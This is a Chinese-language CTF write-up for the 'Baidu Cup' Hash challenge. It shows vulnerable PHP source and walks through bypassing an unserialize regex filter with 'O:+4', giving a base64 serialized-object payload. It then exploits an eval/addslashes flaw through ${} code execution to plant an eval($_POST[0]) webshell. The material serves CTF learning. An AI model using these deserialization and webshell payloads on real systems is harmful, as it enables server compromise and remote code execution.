“百度杯”CTF⽐赛⼗⽉场Hash复现进⼊题后⽼套路得到两个关键:
1.$hash=md5($sign.$key);the length of $sign is 8
2.key=123&hash=f9109d5f83921a551cf859f853afe7bb
然后md5解密那个hash=kkkkkk01123
根据源码说的$sign位数为8位,后改⼀下key 然后md5后得到提⽰Gu3ss_m3_h2h2.php这个⽂件
<?php
class Demo {
private $file = 'Gu3ss_m3_h2h2.php';
public function __construct($file) {
$this->file = $file;
}
function __destruct() {
echo @highlight_file($this->file, true);
}
function __wakeup() {
if ($this->file != 'Gu3ss_m3_h2h2.php') {
//the secret is in the f15g_1s_here.php
$this->file = 'Gu3ss_m3_h2h2.php';
}
}
}
if (isset($_GET['var'])) {
$var = base64_decode($_GET['var']);
if (preg_match('/[oc]:\d+:/i', $var)) {
die('stop hacking!');
} else {
@unserialize($var);
}
} else {
highlight_file("Gu3ss_m3_h2h2.php");
}
>
拿到源码了,审计代码
⾸先得到⼀个参数var 然后进⾏正则匹配
说下这个正则 /[oc]:\d+:/i  [oc]  两个字母构成的原⼦表加:再加只是⼀个数字,再加:然后不区分⼤⼩写
这个O 是序列化⾥⾯的类 C是⾃定义序列化⽅式
如果这个正则的绕过是O:+4 这样就可以绕过
然后写payload:
TzorNDoiRGVtbyI6ODp7czoxMDoiAERlbW8AZmlsZSI7czoxNjoiZjE1Z18xc19oZXJlLnBocCI7fQ==  出来拿去⽤
<?php
if (isset($_GET['val'])) {
$val = $_GET['val'];
eval('$value="' . addslashes($val) . '";');
} else {
die('hahaha!');
}
php实例代码解密>
继续审计,看到这个熟悉的php复制变量${phpinfo()}  像这样的他会先执⾏⾥⾯的⽅法
直接构造payload:eval($_POST[0])    这⾥⼀句话的密码不能⽤引号应该是那个addsalashes的原因
然后就菜⼑连上去就看到flag了

版权声明:本站内容均来自互联网,仅供演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系QQ:729038198,我们将在24小时内删除。